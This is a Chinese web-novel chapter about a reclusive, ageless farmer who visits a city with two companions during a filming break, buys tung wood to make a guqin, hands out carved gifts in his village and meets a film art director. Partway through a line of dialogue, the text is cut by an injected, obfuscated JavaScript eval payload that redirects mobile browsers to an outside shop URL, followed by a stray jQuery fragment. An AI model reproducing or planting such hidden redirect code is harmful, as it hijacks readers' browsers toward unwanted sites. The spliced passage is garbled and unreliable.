电影剧组前脚刚走，节目组后脚也撤了。
"后期攒了一堆素材等着剪，几位老师外头都有通告。"苏晚站在院当中宣布，"歇录三天，机器全撤，你们爱干嘛干嘛——别给我惹事，尤其你。"
最后两个字，她是看着陶陶说的。
陶陶正抱着半个西瓜啃，一脸无辜："苏姐你这就伤人了，我像惹事的人吗？"
满院子齐刷刷："像。"
机器一上车，蘑菇屋像被抽走半条魂，安静得能听见鸡刨食。江苓沈眉赶通告，陶陶被经纪人一个电话揪回城录团综。最后村里剩三个要进城的：方驰在邻市有个通告，顺道；林野要去跟快递网点谈下半年的冷链价、补一批包装箱——本来他自己去就行，偏生网点老板放了话："价好说，我就想当面见见那种出三倍有机质菜的人，问他能不能保供。"
"哥，这正主儿得你去。"林野把这话学给他听，"人家点了名的。"
陆清槐本不想动，听到"保供"两个字，到底点了头——菜出山是全村的事，品控、排期，他不去拍板，林野压不住。
方驰一听来了精神，往墙根一蹲："那不正好！办完事我带你俩逛逛，进回城，哥你火这么久，怕还没正经见过地级市啥样吧？"
"有什么好见的。"
"有扶梯！有自动门！有那种——"他手舞足蹈半天没比划明白，"总之你去了就知道。"
陈伯背着手路过，停下，语重心长拍了拍方驰肩膀："小方啊。"
"哎，陈伯您说。"
"看着点他。"老人往陆清槐那边努嘴，"城里车多人杂，别让他给丢了。"
方驰愣两秒，看看那位云淡风轻翻草药的人，再看看自己，没搞懂这趟到底是谁该看着谁。林野在旁边笑出了声。
冷链的事谈得比预想快。
网点老板是个黑脸汉子，一见陆清槐，生意上的精明先矮了半截，搓着手，三句话不离"久仰"，问完排期又问能不能合个影："我闺女是你粉丝，海报都贴床头了！"
"供货照合同，断一天算我的。"陆清槐提笔把品控、分拣时辰一条条写清，字清峻得不像种菜地的手写的，末了才抬头，"合影可以，别耽误你装车。"
林野在旁边看着，心里那点"进城靠我罩着"的底气，还没用就泄了——这人谈事比他卖货还利索。
正事一了，下午就归方驰安排了。
进商场大门，陆清槐脚步顿了顿。两扇玻璃门在他面前无声滑开，他站定看两眼，等门又合上，才重新迈步——门再开。
"这门，"他侧头，神色认真，"认人？"
"门底下有感应，"方驰把他往里让，终于逮着一个能显摆的，"谁过它都开，不是冲你。"
"哦。"他点头，回头又看一眼，像给这门记个脾气。
方驰憋了一路"山里人第一次坐扶梯会顺拐"的笑话，结果人家扫一眼那往上爬的铁台阶，踩上去稳稳当当，扶都没扶，倒顺手扶了把光顾回头解说、差点踩空的方驰。
"你说的世面，"他看着楼下蚂蚁似的人流，语气平平，"就这？"
方驰的导游词全憋回了嗓子里。
真正让他扳回一城的，是晚饭。
火锅店坐下，方驰手机一扫桌上的码，头也不抬："红油九宫格，毛肚鸭肠各来两份——哥你吃啥自己点，菜单在手机里，扫这个码。"
陆清槐拿着手机研究半晌，眉头微蹙。八百年他什么阵仗没见过，偏偏被手机点菜难住了。
"怎么，"方驰凑过来，难得扬眉吐气，"也有你不会的？来，我教你——扫这个码，看中哪个点哪个，最后这儿结账，钱直接从手机里走，不用掏银子。"
陆清槐看完一遍，自己操作，三两下点完，点头："原来如此。"顿了顿又补一句，"比账房省事。"
方驰正美着，红油锅端上来，陆清槐盯着那锅看了半晌："这锅……是药？"
"这是火锅底料！"方驰一口酸梅汤差点喷了，"哥你怎么看什么都像药材！"
"太烈。"他皱眉，"花椒、八角、桂皮、草果性都冲，寻常脾胃受不住这么熬。劳驾，"他招手，语气温和，"换一锅清水，搁两把菌子几片姜。"
方驰眼睁睁看他在火锅店点了个养生局，本想劝，转念一想——人家山里清粥小菜惯了，又懂这些门道，好像确实有资格挑。
菌汤锅端上，他慢条斯理涮完，评价："菌子是大棚的，差口山气。不如地里现摘的。"
"哥，这是市里排名前三的火锅店。"
"嗯，待客挺厚道。"
方驰没等来"山里人被火锅征服"的名场面，反被安利了一肚子怎么挑菌子、什么时候的姜不辣。他感觉自己不是来请吃饭的，是来上养生课的——唯一值得安慰的是，今天总算有一件事，是他教的对方。
电玩城，方驰赌上了最后的尊严。
抓娃娃机前，他换一百个币，立志为城市青年正名。投币、推杆、下爪——爪子在半空晃悠两下，精准地从毛绒兔子耳朵上滑开。
一次，两次，五次，八次。旁边围观的小朋友都从崇拜看成了同情。
"这机器有问题。"方驰额头见汗，嘴硬，"爪子是松的，纯纯诈骗，付费上班来了属于是。"
陆清槐背着手看了半天，看得专注，像琢磨一道题。看到第十次，他开口："我试试。"
方驰把币塞他手里。陆清槐投币，盯着移动的爪子看两秒，又锁定角落里一只挤在花哨玩偶中、毫不起眼的毛绒小鸡，手在按钮上一按——
爪子落是落准了，夹住往上一提，那鸡在半空一滑，到底没抓牢，软软落回了原处。
没中。
"嗯？"他挑了下眉，似乎没料到这铁东西的力道里还藏着一股说不准的虚浮。
"哈！"方驰瞬间平衡了，"也有你马失前蹄的时候！这机器它就不按道理来——"
话没说完，陆清槐第二枚币已经投进去。这回他没急着按，看爪子完整空走了一圈，把那一下"虚"掂了个清楚，才在它力道最稳的一瞬按下。
三爪扣住小鸡最吃劲的后颈，升起、平移、落洞，再没打滑。
"哐当。"毛绒鸡掉进取物口。
电玩城老板不知何时踱过来，眼神警惕又热切："兄弟，职业的吧？我们小本生意……"
"头回玩。"陆清槐把鸡捡出来，掸了掸，珍而重之收进袋子，"这铁东西有准头，也有没准头的时候。得等它自己稳了。"
林野笑到扶墙，顺手安抚老板："就玩这两把，真不玩了，您放心。"
方驰抱着胳膊，嘴还硬："第一次还不是空了。"
"是。"陆清槐坦然点头，"所以要交一次学费。"
真正让他挪不动脚的，不在商场，在第二天上午路过的一条老街。
那是家门脸不起眼的民族乐器坊，橱窗里没有亮晶晶的洋玩意儿，只静静摆着几张斫到一半的古琴，和几块靠着墙阴干的木板。
陆清槐的脚步，毫无征兆地停住了。
他盯着那块桐木看了很久。隔着玻璃，阳光斜照在木纹上，那一瞬间，他忽然想起很远很远以前的事——另一个世界的王宫深处，曾有过一张通体透明的琴，弦声像月光落在水上。他有两百年没再碰过这样的东西了，久到他几乎以为，这双手往后只会种地、浇水、间苗。
"哥？"方驰顺着他的目光，"怎么了？"
"进去看看。"
店主是个清瘦老者，听见他指着那块料问"阴干了几年"，眼皮一抬，认真了："先生好眼力。五年的老桐，同一批料里就数这块干透了。"
陆清槐接料在手，不看品相，先掂，再用指节在木板不同位置轻敲几下，侧耳听那回声，眉头微不可察地松开。
"是这个。"他低声说，像跟一个久别的老朋友打招呼。
他挑得很慢：那块五年老桐板、一副蚕丝缠银丝的弦、一小罐生漆、几枚发亮的琴轸。老者遇上懂行的，话也多，又指点他巷子口的老木工铺能配趁手的刨凿。至于沈眉那把受潮生锈的民谣吉他，琴是洋琴，老坊里没有，他后来在商场另一家琴行单独配了副钢弦。
"你这是要……自己做一张琴？"方驰全程懵。
"嗯。"他抱着那包木料，眉眼间有种很淡的、属于手艺人的光，"城里料好。手也痒了。"
林野默默扫码，又帮他把东西拎上，嘴里照例念叨："哥，这一堆比我进一车包装箱还贵。预算啊。"
"回头从我那份里扣。"他把桐木板抱紧了点，那姿态竟有点护食。
"行了，谁真跟你算。"林野没好气，手却放得很轻，生怕磕着那块木头。
当天下午，方驰先跑去邻市把那个通告录了，傍晚才赶回来，拉着两人看了场最新的立体特效大片。林野则利用上午把包装箱也订齐了——三个人，谁也没真闲着。
影院里，怪兽、奇观、震天响的音响，旁人惊呼七八回，陆清槐靠着椅背，呼吸都没变。
散场出来，他只给了三个字："假。"
"这可是顶级特效！"
"山是糊的。画出来的山，没有根，也没有气。"他望着影院外染红的天边，"真山里待久了，一眼就看得出来。"
方驰张了张嘴又咽回去，忽然有点期待：等这位自己那部东方奇幻上了，银幕上的山，会不会就是"有气"的。
第三天，林野先觉出了一丝不对。
陆清槐话比前两天更少了。但不是没力气的虚，他吃饭走路都稳，只是偶尔会停下，望一眼窗外南方——那是龙脖子沟的方向，望完了，眼底有一丝极淡的、旁人察觉不到的倦。
八百年的定力，这点倦被他压得滴水不漏。也只有林野，处了一年、又知道底细，才看得出他今天翻书的动作，比昨天慢了半拍。
"哥，"林野放下筷子，压低声，只两人听见，"是不是……离山久了点？"
陆清槐没瞒他，"嗯"了一声："山里的气，离远了。该回了。"
"这就回。"林野半点不犹豫，起身就去收拾，把桐木料理所当然放在行李最上头，又翻出顶帽子递过去，"戴着点，路上晒。"
方驰还想留："博
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17936391|213330||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
物馆都没去——"
"山里事多，他那菜离不了人。"林野三言两语堵回去。
车越往山里开，他那口气越缓，眉眼慢慢松开。到进山岔口，他叫停车："我走回去。"
"还二里地呢。"
"透透气。"他下车走进林子，在一片树影里站定，闭眼深吸一口气，像远行的人终于把头埋回熟悉的枕头。林野在几步外停下，没催，还顺手挡住了后头方驰的视线。
再睁眼时，那点倦色已褪干净。方驰追上来打量，只觉得这人一进山整个人都舒展了："怪了，哥你一进山跟换了节电池似的，太阳能的吧？"
"算是。"他难得接了句玩笑。
回到村里，方驰头一件事就是发了条动态，配图是那只毛绒鸡和一截晒得发亮的田埂：
"带家里长辈进城，比我淡定，认门比我快，抓娃娃还得先交一把学费再开始表演。真诚建议他别进娱乐圈，进职业圈，我怕抢我饭碗。"
评论瞬间歪楼："家里长辈？清槐哥比你小吧""别人进城消费，他进城进货（指桐木板）""建议查查他，不像演的"。
方驰盯着最后一条，幽幽抬头看了眼院里翻晒草药、一派岁月静好的陆清槐——是真不像演的。
城里带回的东西，回村当天先给了陈伯：一罐好茶。
老人捏起一撮闻了闻，嫌弃得很直白："花香倒是香，一股子香精味，不如我山上的野茶。"嫌弃归嫌弃，转身就把罐子宝贝似的搁进柜子最高一层，谁来都显摆一遍："俺们清槐从城里给我带的。"
做琴是大工程，桐木板才刚开料。倒是下脚的小料他没舍得扔。歇录最后一天午后，日头好，他就着院里天光，拿细砂纸慢悠悠磨了两支木簪、一枚坠子、一串山核桃圆珠。桐木温润，磨久了，木纹里像凝着一层极淡的丝光。
这些得等节目复录、人都回村了才送得出去——后来复录那天，他先把沈眉那把受潮生锈的吉他换了新弦，亲手校过音；素净木簪给了江苓，正合她花粉过敏、戴不得花哨香艳首饰的脾气，她当场挽了发，那木簪此后再没离过身；坠子给了沈眉，配她刚换好弦的吉他；山核桃手串塞给陶陶，她捧着神秘兮兮："清槐哥，这是不是开过光的？我怎么戴着心里特别定。"
"核桃补脑子。"他面不改色，"你多戴。"
至于那只电玩城里赢来的毛绒鸡，陶陶举着它，表情一言难尽："你跟我说实话，我在你心里是不是就剩一只鸡的分量了？行吧，我和这鸡，锁死了。"
最后，林野靠在门框上看了半天，见人人有份，伸手："哥，我的呢？结账拎包催回家，没功劳也有苦劳吧。"
陆清槐早有准备，反手抛给他一样东西。
是块用最好那块桐木的芯子磨成的无事牌，没有雕饰，只在穿绳孔旁，用极细的刀工刻了一道几乎看不见的浅纹，像一道山的轮廓。
"别人的是余料做的，"他重新低下头磨琴料，声音淡淡，"你这个，是芯。"
林野接住，攥在掌心，温温的。他张了张嘴，到底没让气氛黏糊下去，翻个白眼把牌子往脖子上一套："就我特殊待遇是吧？行，这块我收了——回头监工管账，连本带利给你抵回来。"
说得凶，手却把那块牌子塞进了贴胸的内袋。
东西分完，日头还挂在半山腰。
陆清槐惦记着歇录这几天菜地没人细照看，背着手往地头走。刚转过村口那道弯，他脚步停住了。
菜地边停着辆没见过的白车，车门上印着剧组标识。一个戴圆框眼镜、围裙上沾满颜料点子的中年人，蹲在田埂上，对着远处的山一动不动地发呆，脚边摊着本速写簿，大半本都画满了——全是这座山。
陆清槐认出那是剧组的车，脚步不疾不徐。听见动静，那人猛地回神站起来，眼睛亮得吓人，先自报家门："您就是陆师傅吧？我是剧组美术，姓周，提前来踩点的——"话没说完，他就忍不住逮住人问，"跟您打听个事，你们这山傍晚的雾，一般几点起来？"
陆清槐的目光在那本画满了山的簿子上停了一瞬，又极淡地掠向远处的龙脖子沟。
问山可以，问雾，问到点子上了。他心里那根弦轻轻一动，面上却不显，只答得寻常："山里的雾，看天，没个准时辰。"顿了顿，反问，"画山就画山，怎么单盯着雾问？"
"嗨，我们这部戏要的就是这口'活气'！"周美术比划着，两眼放光，"搭出来的景再像，也是死的。我走了大半个省，就你们这儿的山——"他一时找不到词，狠狠一拍大腿，"它是活的！"
陆清槐没接话。
他重新望向那座青得发黑的山，眼神很静，静得有点深。
勘景的走了，美术又来了。修路的、拍戏的、量地的、问雾的……一座接着一座，都在朝这座山过来。
他守了快一年、刚焐出一点活气的地方，看来是真要热闹了。
"雾的事，"他收回目光，淡淡丢下一句，"你们拍得到，是缘分；拍不到，也别勉强山。"
说完，他绕过还在发愣的美术指导，弯腰去看自己那畦刚移栽的萝卜苗了。